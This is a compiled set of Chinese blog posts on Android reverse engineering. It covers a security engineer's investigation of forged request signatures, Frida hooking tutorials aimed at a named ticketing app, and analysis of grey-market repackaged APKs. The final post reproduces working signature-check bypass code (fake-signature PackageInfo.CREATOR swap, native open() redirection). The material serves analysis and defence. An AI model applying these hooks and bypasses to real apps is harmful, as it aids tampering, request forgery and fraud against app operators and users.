- Android -

灰产-如何破解请求验签（下）

灰产-如何破解请求验签（下）

image

写在前面

再来个前情提要：灰产-如何破解请求验签（上）

以下都是情节模拟，并非具体情况，请细加甄别

阿哈！Showmak……啊不，是新的 Sign 替换后不久就，两周左右就又被破解了呢——

“我们新的加签，可是从多个随机数池取值生成的 sign1，然后把sign1和多个参数混合在一起按时间戳不同取模排列生成的sign2，怎么可能……”

啊，虽然很想吐槽这反派一般被反击了感叹自己部署被打乱了的感觉，但是来不及为已经逝去的 sign2 感到悲伤了，接下来赶到战场的是……

是我这个苦力！

我打灰产？真的假的？要上吗？

image

总而言之

总而言之，在解释了旧 Sign 是怎么泄露的后，调查新 Sign 是怎么泄露的这个任务又又又落到我这里了= =，已经不想吐槽了

实现漏洞

“怎么实现的……额，实际上我们等于是接了一个生成库，你可以理解为类似SDK，里面有各种 Sign1 和 Sign2 的实现方式，什么移位啊取模啊都多久前的了，我都快忘了，你想看的话文档给你你可以看一下”

“有没有可能是这个实现的模块泄露了或者可以被调用啥的？”

“我觉得没有吧，感觉也有可能是 Hook 了，但就不知道是怎么弄的”

然后直到最后我除了在研发显示屏上看到了一眼实现文档，我再也没看到那实现方式一眼了

image

摸索开始了——

首先通过请求日志我发现，灰产用到的 sign1 有一批量重复的（说好的随机池随机取呢），但是生成的 sign2 是不重复的（sign1 只作为一个参数参与生成 sign2 的计算），我们并没有对 sign1 进行校验，所以导致这个 sign1 可以在请求中被替换，重复利用。

顺带一提的是，在其他应用里很早就出现这个情况了，不是我的话都还没发现……

image

定向Hook

sign1 的问题因为没有校验可以重复利用解决了，那 sign2 呢？

前端没有找到泄露 sign2 计算点，因为前端都可能没用新的 Sign；

应用端源码没看到 sign2 的计算方式，因为做了较好的混淆；

……

那选择就只有一个了！（折断拐杖）

对它使用 Hook 吧！

image

早在 MobSF移动安全测试框架|自动化静动态app分析框架 的使用中，我就接触了 Frida，why？因为一开始装不上，并且因为种种原因（MobSF 自带证书冲突等）执行动态分析的效果很差，虽然后来还是能试出来。

扯远了，回到现在，利用 Frida 对应用进行 Hook，我是在 Genymotion 上做的，当然，由于应用配置的关系，你可能需要先：

这里就要说了，为什么涉及到 Brida？

因为一开始是想用 Brida 直接 Hook 调用函数，传到 BurpSuite 直接修改请求，但是后来发现你根本不知道是哪个函数计算 sign2 ，别说改了，Hook 都不知道 Hook 谁，怎么办？

image

java.security.MessageDigest

还记得旧 Sign 最后的加密算法吗？SHA1-Hash

再看看新 Sign，尤其是 sign2 的样式，分明也是 SHA1！

嘛，灵光一现：不如利用 js 跟踪“java.security.MessageDigest”的调用，并输出加密入参与之后的值，js 参考：

image

入参值反解出来是一堆字节码，需要用 java 重新转一下回去：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class exchange {
   public static void main(String[] args) {
       byte[] b = { 108, ……, 102,
               105, ……, 105,
               111, ……, 107,
               45, ……, 61,
               50, ……, 52,
               32, ……, 117,
               115, ……, 118,
               105, ……, 110,
               118, ……, 73,
               70, ……, 78,
               74, ……, 85,
               85, ……, 108,
               107, ……, 107,
               45, ……, 110,
               61, ……, 48,
               67, ……, 45,
               116, ……, 112,
               61, ……, 104,
               73, ……, 57 };
       String s = new String(b);
       System.out.println(s);
   }
}



Output:
……data={"userId":"……"}……sign1=GORNJPBOGXJXZQRRKYKYZNGZXZSYOUUSCMCM……timestamp=1714030269543……

sign1&timestamp

ok，入参也出来了，现在只剩一个问题：sign1 在入参中的位置。

其实到这里直接去遍历都可以，但是我还是采集了几份 sign1 在 sign2 生成位置与 timestamp 的关系进行比对，然后发现比对了个寂寞——差一位数的时间戳里 sign1 的插入位置可以相同的 = =：

image

所以不整了，收工！

image

写在后面

下篇也写完了，感觉好像也就这样，后续把加固啥的弄上议程吧，不然好像还有些硬编码问题也是头疼，但还要验证一下效果。

沉默，然后……事已至此，先吃（pao）饭（lu）吧

image

参考引用

灰产-如何破解请求验签（上）

MobSF移动安全测试框架|自动化静动态app分析框架

Genymotion_A11_libhoudini

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

brida从0配置

安卓逆向 - Frida Hook（抓包实践）

Frida java层自吐加密算法

灰产-如何破解请求验签（上）

灰产-如何破解请求验签（上）

image

前情提要

先来个前情提要：灰产-如何对APK修改后重签

在写那篇文章的我，是否会想到我竟然还有有关“灰产”的下文来写？而且就标题来说，还有分上下两篇！所以这4个月不到的时间我又经历了什么呢？

image

写在前面

以下都是情节模拟，并非具体情况，请细加甄别

让我们把时间拨回到年后。

年后回来一阵子，接到业务风控同学的反馈，我们有用户发现自己的账户被盗了，自己购买了不是自己的商品（不产生金额）并对这个商品统一匿名评价……

我第一反应卧槽哥们我们应用不是做了端校验，不同设备必须验证码登录，怎么连手机一起丢了才有后面能说漏洞导致账密泄漏的事？

image

后面通过网关日志、应用日志、接口日志等排查，发现这个用户的登录凭证（token）有从境外服务器请求服务的情况，可以基本确认是 token 的泄漏；

再和用户沟通以及进一步的深入排查，我们发现 token 的泄漏源于用户被钓鱼，这里细节不表；被社工得到的 token 会先从 ip 1 被收集并转发给 ip 2 进行购买请求与评论……

这里涉及到一个问题，我们的请求在各端做了验签，Sign 参数会根据不同端走不同的计算方式，想要更改 token 并发起购买请求，不重新计算 Sign是不可能通过校验的，只有两种可能：

  • 我们的 Sign 计算方式被破解
  • 我们的 Sign 计算方式可被任意调用

总而言之

总而言之，这个任务又落到我这里了= =

会议讨论对齐的时候，研发一致认为是在 H5 端的 Sign 计算方式太简单了，如何计算已经被破解，应该换上现在端上更安全的 Sign 计算就可以了！

直接破解一个计算方法理论上是不太容易的，我更在意的是是否是哪个地方泄漏了 Sign 的计算方法，或者在什么地方的计算代码可以被调用，直接入参入值然后得到结果。

但这里就要提到另一个事情了，研发不告诉你！

他们只表述这个好像比较简单就能破，但问他们怎么破的，不知道；问他们在哪里可能泄漏了，不知道：

“大概是从前端 JS 泄漏的？你看我们这里都做了混淆了，你看是不是就是这个位置，sign 关键词都命中了……”“可是为啥我调试/下断点没反应啊？”

image

后来嘛，在把钓鱼的口子堵了一下后，换上“更安全”的 Sign 计算方式后，喜闻乐见的钓鱼的口子也被绕过了，“更安全”的 Sign 计算也被破解了……

然后呢？

遭殃的还是我好吧，本来他们都认为可行的解决办法没用的时候，我就不得不花时间和精力来看看不在我 OKR 上的问题了

image

泄漏发现

算研发很配合安全工作，虽然告诉了我一个错误的泄漏位置，但起码提醒了我可能是 JS 就已经泄露了，没必要一来就去逆向找源码。

开始的思路还是去利用前端给到的 JS 复用：Burp Suite作为代理，复用目标站点的js代码处理指定的内容

后来发现 JSFlash 必须要能够指定调用代码函数才行，前端 JS 混淆了，指向不出来，直接分析不了

然后我就在前端登录页 Source - js 找到了 Sign 计算点，并且下断点步进调试看到了所有 Sign 的计算入参：

image

image

它端验证

在前端 JS 调试的过程中能看到有一个 secret 参数是不会暴露在 request 里的，其他端的如何获得？

Jadx 逆向反编译一下应用端，以 SIGN 为关键词，在源代码中发现了硬编码在其他端使用的 secret，以及使用的 Sign 最后加签算法：

image

image

写在后面

上篇就到这里，写的好像很简单，解过程也没遇到什么麻烦，但是还得说和大伙配合的还是不好，我还是认为不管是锻炼或者检验个人能力也好，工作任务忙不想接手深入这个事情也好，如果是以把事情完成的结论来说，相互配合是很重要的。

以旧 Sign 为例，大家说的好像每个人都知道这个是怎么生成的，但就是没人和你说，告诉的还是错误的位置，即使真的可能知道是怎么生成的不知道是在哪里泄露的，那信息汇通还是更重要的。研发完全可以告诉你“我猜是在前端 JS 泄漏的，位置是在这里，他的调用是这样的……”给你演示出来，如果真的在前端直接 Debug 下断点走一遍，就会知道一开始的位置告诉错了，并且一下就把泄漏点找出来了。

不会浪费双方的时间的。

image

参考引用

灰产-如何对APK修改后重签

Burp Suite作为代理，复用目标站点的js代码处理指定的内容

安卓逆向 - Frida Hook（抓包实践）

安卓逆向 - 基础入门教程

本文转自小馒头yy 并作补充

一、引言

上篇文章：安卓逆向 - 基础入门教程_小馒头yy的博客-CSDN博客 介绍了Frida的安装、基本使用，今天我们来看看Frida常用Hook和基于Frida抓包实践。

二、Frida常用 Hook脚本

1、hook java.net.URL

1
2
3
4
5
6
7
8
function hook1() {
    var URL = Java.use('java.net.URL');
    URL.$init.overload('java.lang.String').implementation = function (a) {
        console.log('加密前：' + a)
        showStacks()
        this.$init(a)
    }
}

2、hook okhttp3 HttpUrl

1
2
3
4
5
6
7
8
9
10
function hookOkhttp3() {
    var Builder = Java.use('okhttp3.Request$Builder');
    Builder.url.overload('okhttp3.HttpUrl').implementation = function (a) {
        console.log('a: ' + a)
        var res = this.url(a);
        showStacks()
        console.log("res: " + res)
        return res;
    }
}

3、hook okhttp3 addHeader

1
2
3
4
5
6
7
8
9
10
11
function hook() {
    var Builder = Java.use("okhttp3.Request$Builder");
    Builder["addHeader"].implementation = function (str, str2) {
        console.log("key: " + str)
        console.log("val: " + str2)
        showStacks()
        var result = this["addHeader"](str, str2);
        console.log("result: " + result);
        return result;
    };
}

4、打印堆栈

1
2
3
4
5
function showStacks() {
    Java.perform(function () {
        console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()));
    });
}

5、hook Base64

1
2
3
4
5
6
7
8
9
function hookBase() {
    // Base64
    var Base64Class = Java.use("android.util.Base64");
    Base64Class.encodeToString.overload("[B", "int").implementation = function (a, b) {
        var rc = this.encodeToString(a, b);
        console.log(">>> Base64 " + rc);
        return rc;
    }
}

6、hook HashMap

1
2
3
4
5
6
7
8
function hookMap() {
    var Build = Java.use("java.util.HashMap");
    Build["put"].implementation = function (key, val) {
        console.log("key : " + key)
        console.log("val : " + val)
        return this.put(key, val)
    }
}

三、某麦网抓包实践

本篇以某麦网帖子详情接口，演示如何基于Frida hook抓包

1、安装某麦网8...apk

2、搭建Frida hook 环境，注入 hook java.net.URL脚本

3、点进帖子详情打印出如下堆栈，我们可以根据打印出的信息，跟栈分析该接口的请求头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
https://acs.m.taobao.com/gw/mtop.damai.wireless.discovery.detail.get/1.4/?source=10101&version=6000168&type=originaljson&data=%7B%22contentId%22%3A%2211088650%22%2C%22appType%22%3A%221%22%2C%22source%22%3A%2210101%22%2C%22osType%22%3A%222%22%2C%22pageSize%22%3A%2230%22%2C%22pageIndex%22%3A%221%22%2C%22version%22%3A%226000168%22%2C%22channel_from%22%3A%22damai_market%22%7D&appType=1&osType=2&channel_from=damai_market
java.lang.Exception
        at java.net.URL.<init>(Native Method)
        at tb.yy0.m(Taobao:1)
        at anet.channel.request.a.p(Taobao:2)
        at anet.channel.session.TnetSpdySession.w(Taobao:18)
        at anetwork.channel.unified.NetworkTask.sendRequest(Taobao:6)
        at anetwork.channel.unified.NetworkTask.run(Taobao:44)
        at anetwork.channel.unified.UnifiedRequestTask$a.proceed(Taobao:15)
        at com.taobao.orange.sync.NetworkInterceptor.intercept(Taobao:30)
        at anetwork.channel.unified.UnifiedRequestTask$a.proceed(Taobao:7)
        at anetwork.channel.unified.UnifiedRequestTask$3.run(Taobao:2)
        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:428)
        at java.util.concurrent.FutureTask.run(FutureTask.java:237)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1133)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:607)
        at java.lang.Thread.run(Thread.java:761)

4、使用Jadx打开某麦网apk

从at tb.yy0.m(Taobao:1)跟栈分析

image

根据调用栈往上走，定位到如下位置，注意这行代码：

1
ALog.f("awcn.TnetSpdySession", "", aVar.n(), "request headers", aVar.g());

image

代码注释很清楚了 request headers，我们跟进 hook aVar.g() 这个方法

1
2
3
public Map<String, String> g() {
        return Collections.unmodifiableMap(this.f);
    }

hook之，对象输出可以使用 JSONObject转一下

1
var JSONObject = Java.use("com.alibaba.fastjson.JSONObject");
1
2
3
4
5
6
7
8
9
function hook6() {
    var JSONObject = Java.use("com.alibaba.fastjson.JSONObject");
    var a = Java.use("anet.channel.request.a");
    a["g"].implementation = function () {
        var result = this["g"]();
        console.log("result : " + JSONObject.toJSON(result).toString());
        return result;
    };
}

打印出如下内容：

image

请求 URL、 请求方法这边都写得很清楚啦。

image

收工！

安卓逆向 - 基础入门教程

安卓逆向 - 基础入门教程

本文转自小馒头yy 并作补充

一、引言

1、我们在采集app数据时，有些字段是加密的，如某麦网x-mini-wua x-sgext x-sign x-umt x-utdid等参数，这时候我们需要去分析加密字段的生成。本篇将以采集的角度讲解入门安卓逆向需要掌握的技能、工具。

2、安卓（Android）是一种基于Linux内核操作系统，架构图（了解即可）

image

3、安卓应用程序使用JAVA语言编写（重要），作为一名安卓逆向人员我们必须掌握Java语言基础（基本语法、类、接口、面向对象、网络类库、加密解密等等）

4、安卓逆向是对已经打包好的APP进行反编译，分析源码了解应用逻辑的一门技术，这一部分我们需要学习静态分析，动态分析。各种反编译工具（推荐 jadx），Frida Hook。

二、静态分析，学习jadx反编译

1、安装jadx，github地址： Releases · skylot/jadx · GitHub，下载 jadx-1.4.7.zip 解压即可。

image

2、调整jadx最大内存，打开bin目录下的 jadx-gui.bat文件，搜索DEFAULT_JVM_OPTS。

将 -XX:MaxRAMPercentage=70.0 修改成 -Xmx16g

image

3、jadx使用，打开apk，jadx会自动反编译apk

image

全局搜索：点击左上角的导航 - 文本搜索，输入关键字，并且下方可以筛选检索的位置

image

根据关键字定位到关键代码后，我们就可以进行分析加密参数的生成啦。

三、动态分析，Frida 初使用

1、安装 adb （Android Debug Bridge），通过命令行使用adb，对安卓设备进行操作

2、下载模拟器，我使用的逍遥模拟器 （有Root好的真机更棒）

模拟器启动后，在命令行依次执行命令：

1
2
3
4
adb forward tcp:27043 tcp:27043
adb forward tcp:27042 tcp:27042
adb connect 127.0.0.1:21503
adb devices

再执行 adb shell，即可进入模拟器， #字符代表已 Root

image

3、安装Frida

本地直接使用 pip install frida 命令安装 （需有Python环境）

模拟器（手机）端下载对应的Frida-server: Releases · frida/frida · GitHub

低版本安卓推荐下载：12.8.13，高版本安卓直接下载最新版

模拟器是 x86架构，真机是 arm架构，请下载对应的 frida-server

4、开启Hook，动态分析应用运行时数据

  • 将frida-server传到手机 /data/local/tmp 目录，转到本地frida-server存放的目录，依次执行以下命令
1
2
3
4
5
adb push frida-server-12.8.13-android-x86 /data/local/tmp
adb shell
cd /data/local/tmp
chmod 777 frida-server-12.8.13-android-x86
./frida-server-12.8.13-android-x86
  • 编写 hook脚本，使用js方式启动，本例为 hook URL的构造方法：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function hook1(){
    var URL = Java.use('java.net.URL');
    URL.$init.overload('java.lang.String').implementation= function(a){
            console.log('加密前：'+a)               
            console.log('                    ')
            this.$init(a)
    }
}
 
function main(){
    Java.perform(function(){
        hook();
    })
}
 
 
setImmediate(main);
  • 开始 hook，注意高版本 frida不需要带 –no-pause
1
frida -U -l dm_hook.js -f cn.damai --no-pause

其中 dm_hook.js是 hook脚本的文件名，cn.damai是apk的包名。

滑动应用，正常打印出 url信息。

灰产-如何对APK修改后重签

灰产-如何对APK修改后重签

image

写在前面

前段时间没有事做的时候，组织上仿佛看穿了我很咸，突然让我去研究下灰产包，让我分析用了什么技术&做出了什么改动。

image

总而言之

虽然入职就听说了公司应用之前有被灰产“薅羊毛”的问题，但真让我弄我也没专门弄过啊，而且这部分之前是交给风控组去做的，这么久了整不来靠我嘛？而且我也想吐槽这灰产包你们又是怎么弄来的，还有两份不同技术实现的……

image

签名篡改

如果想对apk内部内容进行修改，从而达到实现某些功能或规避某些审查的目的，就一定要对签名进行重签，这一点上只需要和正版签名比对一下便能发现。如何检测使用了这些篡改应用的用户等不在这次的任务范围内，篡改功能点内容也不展开讨论，此处仅讨论绕过审查重签的技术。

image

MT APP签名检查及绕过

对灰产包简单的逆向后，我在第一个包很快地就发现了一个KillApplication.java：

image

很显然，做篡改的兄弟还不够细，或者根本没懂相应的原理性知识，留下了如此明显的痕迹，并且在URL参数直接暴露了篡改方式：

ApkSignatureKillerEx

image

算是让我直接回忆起之前用过的MT管理器，好像酷安就能下到，不过我已经很久没用过了，不知道MT现在是自带这种签名方式还是作为外部插件使用的。

而MT APP签名检查及绕过在Android逆向-获取APP签名 一文中有详细表述，在此不做赘述（懒）

NP APP签名检查及绕过

那我们再来看下一个，啊，还不用我找，MobSF都给我翻出来了：

image

你是？

image

顺着FuckSign.java 和 2863678687@qq.com 这两个信息（痕迹也是太明显了），我找到了另一种篡改方式：

NP-Manager

image

直接获取下来也很容易就复现了篡改与绕过：

image

写在后面

首先啊，风控安全真是和什么都斗争不断，除开apk包篡改，也还有模拟GPS定位、虚拟用户接码手机号等等，还好不是我直接负责：

image

然后，之前文章提到过外网可能是MobSF官方开的一个在线检测的平台，直接暴露了非常多的检测应用报告，无独有偶，我在做这次灰产分析的时候，在搜索引擎寻找FuckSign.java，发现了国内一个仿MobSF的在线检测平台，从搜索引擎记录来看，市场上很多其他应用也不堪灰产侵扰：

image

我在发现这个检测平台的时候，它给检测项部分“需要开通VIP”解锁，该说是刻意而为导致规避了部分问题还是啥呢……总之，我在几周后重新访问的时候，他已经是崩溃状态，嘛，不好评价：

image

最后，要做灰产黑产，就要从原理性把痕迹去除或转化，不能留太明显的技术痕迹，虽然可以说这些最后找到的都是开源项目，是卖刀者不是作恶人，但淹死的多是会水的，这里分享一篇文章：灰产，赚点快钱？。

image

参考引用

ApkSignatureKillerEx

Android逆向-获取APP签名

NP-Manager

Firebase Installations API 密钥硬编码

灰产，赚点快钱？

与 Firebase 安装服务器 API 通信时的 Android 错误

与 Firebase 安装服务器 API 通信时的 Android 错误

本文转自Segmentfault 并作补充

Questions

我在应用程序启动时收到一条错误消息，说明日志如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
W/Firebase-Installations: Error when communicating with the Firebase Installations server API. HTTP response: [400 Bad Request: {
  "error": {
    "code": 400,
    "message": "API key not valid. Please pass a valid API key.",
    "status": "INVALID_ARGUMENT",
    "details": [
      {
        "@type": "type.googleapis.com/google.rpc.Help",
        "links": [
          {
            "description": "Google developers console",
            "url": "https://console.developers.google.com"
          }
        ]
      }
    ]
  }
}
]
2020-04-27 12:42:34.621 22226-23596/in.co.androidapp.g7 E/Firebase-Installations: Firebase Installations can not communicate with Firebase server APIs due to invalid configuration. Please update your Firebase initialization process and set valid Firebase options (API key, Project ID, Application ID) when initializing Firebase.

大约一周前我收到一封电子邮件，我应该更新我的 google_services.json 文件，我已经更新了 4-5 次。没有改进。它已经工作了大约一年。自从我在应用程序中遇到此问题以来只有 2-3 天。

随后，Firebase Cloud Messaging 和其他 Firebase 服务无法正常工作。我没有进行编程初始化（即，使用 FirebaseOptions 对象提供这些值），只是默认初始化使用 FirebaseApp.initializeApp(this);

我试过 https://github.com/firebase/firebase-android-sdk/blob/master/firebase-installations/API_KEY_RESTRICTIONS.md

提前致谢。

原文由 Daksh Agrawal 发布，翻译遵循 CC BY-SA 4.0 许可协议

Answers

如果您的 API 密钥有问题，您可以在 Cloud Console 中创建一个新的 API 密钥：

  • 转到 谷歌云控制台
  • 选择相关项目（即您用于申请的项目）
  • 打开菜单并转到 APIs & Services → Credentials
  • 在页面顶部点击 + CREATE CREDENTIALS → API key
  • 用新创建的 API 密钥替换应用程序中的 API 密钥

如果您使用 google-services.json 来自 Firebase 控制台 的配置文件，您首先必须删除或限制当前 google-services.json 中使用的 API 密钥，以便使 Firebase 更新配置文件和使用新的 API 密钥。

  • 在您的 google-services.json 配置文件中识别 API 密钥。
  • 通过根据 Firebase Installations API 指标页面 检查 API 密钥的使用情况，确认 API 密钥正在创建错误请求。 API 密钥的列 Usage with this service 应显示大于 0 的数字。
  • 通过单击 bin 符号删除该 API 密钥，或通过单击铅笔符号将 Application restrictions 添加到该 API 密钥。 ！！警告！！ 不要删除应用程序现有安装所需的 API 密钥，以用于其他 Firebase 服务，例如 Firebase Auth 或 Realtime-Database。

等待几分钟，让 Google 服务器更新。下次下载 google-service.json 配置文件应该包含一个新的 API 密钥。

您可以使用以下 CURL 命令测试您的配置。你得到的 错误 是什么？ （注意：如果您看到的是 JSON 数据，则说明您的配置成功）

测试您的配置是否适用于以下 CURL 命令：

1
2
3
4
5
 api_key=<YOUR_API_KEY>;
project_identifier=<YOUR_PROJECT_ID>;
app_id=<YOUR_FIREBASE_APP_ID_EXAMPLE_1:12345678:android:00000aaaaaaaa>;

curl -H "content-type: application/json" -d "{appId: '$app_id', sdkVersion: 't:1'}" https://firebaseinstallations.googleapis.com/v1/projects/$project_identifier/installations/?key=$api_key;

关于 API 密钥和 Firebase Installations API 的其他相关链接：

原文由 Andreas Rayo Kniep 发布，翻译遵循 CC BY-SA 4.0 许可协议

Android逆向-获取APP签名

Android逆向-获取APP签名

本文转自Taardisaa 并作补充

很久以前开的blog，关于如何获取APP签名。不知道为啥要写这个了。

Android逆向-APP签名

生成JKS签名

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

打开AndroidStudio

1
Build-->Generate Signed APK-->APK

然后Key store path选择Create New

然后设置好存储路径，密码也设置一下（偷懒写个123456）

Key的别名就叫key，密码一样简单。

然后剩下的Certificate全填taardis，Country Code填11451。

反正创建成功后，就在选定路径下出现了jks密钥文件。

APK签名

将APK魔改，重新打包后，需要重新签名。

参考：Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

1
apksigner.bat sign --verbose --ks D:\Android\Keystore\taardis.jks --v1-signing-enabled false --v2-signing-enabled true --ks-key-alias key --ks-pass pass:123456 --key-pass pass:123456 --out D:\Android\Frida\gadget\bs.apk D:\Android\Frida\gadget\b.apk

成功后提示：

1
Signed

获取APK签名

首先APK解包：

1
apktool d <apk>

然后在 META-INF 文件夹拿到 CERT.RSA 文件。之后：

1
keytool -printcert -file CERT.RSA

不过Keytool似乎是Java的工具，不管了现在用不上。

JEB/JADX

这种反编译器也能直接看到APK的签名信息。

MT APP签名检查及绕过

L-JINBIN/ApkSignatureKillerEx: 新版MT去签及对抗 (github.com)

从“去除签名验证”说起 - 腾讯云开发者社区-腾讯云 (tencent.com)

过签名校验(2) – MT 的 IO 重定向实践 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

MT提供的签名绕过方式能够实现对API和APK方式的绕过。但是对于SVC的则无能为力。

1
2
3
4
String signatureExpected = "3bf8931788824c6a1f2c6f6ff80f6b21";
String signatureFromAPI = md5(signatureFromAPI());
String signatureFromAPK = md5(signatureFromAPK());
String signatureFromSVC = md5(signatureFromSVC());

API检测

用PackageManager直接获得签名。

1
2
3
4
5
6
7
8
9
private byte[] signatureFromAPI() {
    try {
        @SuppressLint("PackageManagerGetSignatures")
        PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
        return info.signatures[0].toByteArray();
    } catch (PackageManager.NameNotFoundException e) {
        throw new RuntimeException(e);
    }
}

APK检测

找到APP私有文件夹下的base.apk，然后得到签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private byte[] signatureFromAPK() {
    try (ZipFile zipFile = new ZipFile(getPackageResourcePath())) {
        Enumeration<? extends ZipEntry> entries = zipFile.entries();
        while (entries.hasMoreElements()) {
            ZipEntry entry = entries.nextElement();
            if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
                InputStream is = zipFile.getInputStream(entry);
                CertificateFactory certFactory = CertificateFactory.getInstance("X509");
                X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(is);
                return x509Cert.getEncoded();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

SVC检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private byte[] signatureFromSVC() {
    try (ParcelFileDescriptor fd = ParcelFileDescriptor.adoptFd(openAt(getPackageResourcePath()));
         ZipInputStream zis = new ZipInputStream(new FileInputStream(fd.getFileDescriptor()))) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
                CertificateFactory certFactory = CertificateFactory.getInstance("X509");
                X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(zis);
                return x509Cert.getEncoded();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

绕过

Java层的东西不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private static void killOpen(String packageName) {
    try {
        // Native层Hook
        System.loadLibrary("SignatureKiller");
    } catch (Throwable e) {
        System.err.println("Load SignatureKiller library failed");
        return;
    }
    // 读取/proc/self/maps读取APP路径
    String apkPath = getApkPath(packageName);
    if (apkPath == null) {
        System.err.println("Get apk path failed");
        return;
    }
    // 读取自身APK文件（私有目录下的base.apk）
    File apkFile = new File(apkPath);
    // 在APP私有目录下创建origin.apk文件
    File repFile = new File(getDataFile(packageName), "origin.apk");
    try (ZipFile zipFile = new ZipFile(apkFile)) {
        // 将APK中的origin.apk给提取出来（origin.apk是MT去签是生成的，是初始没有被去签的APK）
        String name = "assets/SignatureKiller/origin.apk";
        ZipEntry entry = zipFile.getEntry(name);
        if (entry == null) {
            System.err.println("Entry not found: " + name);
            return;
        }
        // 读取出来
        if (!repFile.exists() || repFile.length() != entry.getSize()) {
            try (InputStream is = zipFile.getInputStream(entry); OutputStream os = new FileOutputStream(repFile)) {
                byte[] buf = new byte[102400];
                int len;
                while ((len = is.read(buf)) != -1) {
                    os.write(buf, 0, len);
                }
            }
        }
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
    // 传入底层so Hook
    hookApkPath(apkFile.getAbsolutePath(), repFile.getAbsolutePath());
}

然后看Native层，实际上是XHook，用于替换libc函数。

1
mt_jni.c

实际上就做了个字符串替换，有意将原本要打开的APK替换成origin.apk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const char *apkPath__;
const char *repPath__;

int (*old_open)(const char *, int, mode_t);
static int openImpl(const char *pathname, int flags, mode_t mode) {
    //XH_LOG_ERROR("open: %s", pathname);
    if (strcmp(pathname, apkPath__) == 0){
        //XH_LOG_ERROR("replace -> %s", repPath__);
        return old_open(repPath__, flags, mode);
    }
    return old_open(pathname, flags, mode);
}

JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv *env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
    apkPath__ = (*env)->GetStringUTFChars(env, apkPath, 0);
    repPath__ = (*env)->GetStringUTFChars(env, repPath, 0);

    xhook_register(".*\\.so$", "openat64", openat64Impl, (void **) &old_openat64);
    xhook_register(".*\\.so$", "openat", openatImpl, (void **) &old_openat);
    xhook_register(".*\\.so$", "open64", open64Impl, (void **) &old_open64);
    xhook_register(".*\\.so$", "open", openImpl, (void **) &old_open);

    xhook_refresh(0);
}

通过Hook open函数，可以把基于APK读取的签名方式给绕过。

下面提供一个绕过基于PackageManager的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private static void killPM(String packageName, String signatureData) {
    // 构造一个假的签名
    Signature fakeSignature = new Signature(Base64.decode(signatureData, Base64.DEFAULT));
    Parcelable.Creator<PackageInfo> originalCreator = PackageInfo.CREATOR;
    Parcelable.Creator<PackageInfo> creator = new Parcelable.Creator<PackageInfo>() {
        @Override
        public PackageInfo createFromParcel(Parcel source) {
            PackageInfo packageInfo = originalCreator.createFromParcel(source);
            if (packageInfo.packageName.equals(packageName)) { //
                if (packageInfo.signatures != null && packageInfo.signatures.length > 0) {
                    packageInfo.signatures[0] = fakeSignature; // 将虚假的签名放入packageInfo，取代原来的
                }
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                    if (packageInfo.signingInfo != null) {
                        Signature[] signaturesArray = packageInfo.signingInfo.getApkContentsSigners();
                        if (signaturesArray != null && signaturesArray.length > 0) {
                            signaturesArray[0] = fakeSignature;
                        }
                    }
                }
            }
            return packageInfo;
        }

        @Override
        public PackageInfo[] newArray(int size) {
            return originalCreator.newArray(size);
        }
    };
    try {
        // 用假的creator替换原来的PackageInfo.CREATOR
        findField(PackageInfo.class, "CREATOR").set(null, creator);
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
        // 解除某些Android系统API的使用限制？
        HiddenApiBypass.addHiddenApiExemptions("Landroid/os/Parcel;", "Landroid/content/pm", "Landroid/app");
    }
    try {
        // 清空签名缓存
        Object cache = findField(PackageManager.class, "sPackageInfoCache").get(null);
        // noinspection ConstantConditions
        cache.getClass().getMethod("clear").invoke(cache);
    } catch (Throwable ignored) {
    }
    try {
        // 清空签名缓存
        Map<?, ?> mCreators = (Map<?, ?>) findField(Parcel.class, "mCreators").get(null);
        // noinspection ConstantConditions
        mCreators.clear();
    } catch (Throwable ignored) {
    }
    try {
        // 清空签名缓存
        Map<?, ?> sPairedCreators = (Map<?, ?>) findField(Parcel.class, "sPairedCreators").get(null);
        // noinspection ConstantConditions
        sPairedCreators.clear();
    } catch (Throwable ignored) {
    }
}

参考

Java Keytool 介绍 - 且行且码 - 博客园 (cnblogs.com)

获取Android应用签名的几种方式 - 简书 (jianshu.com)

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

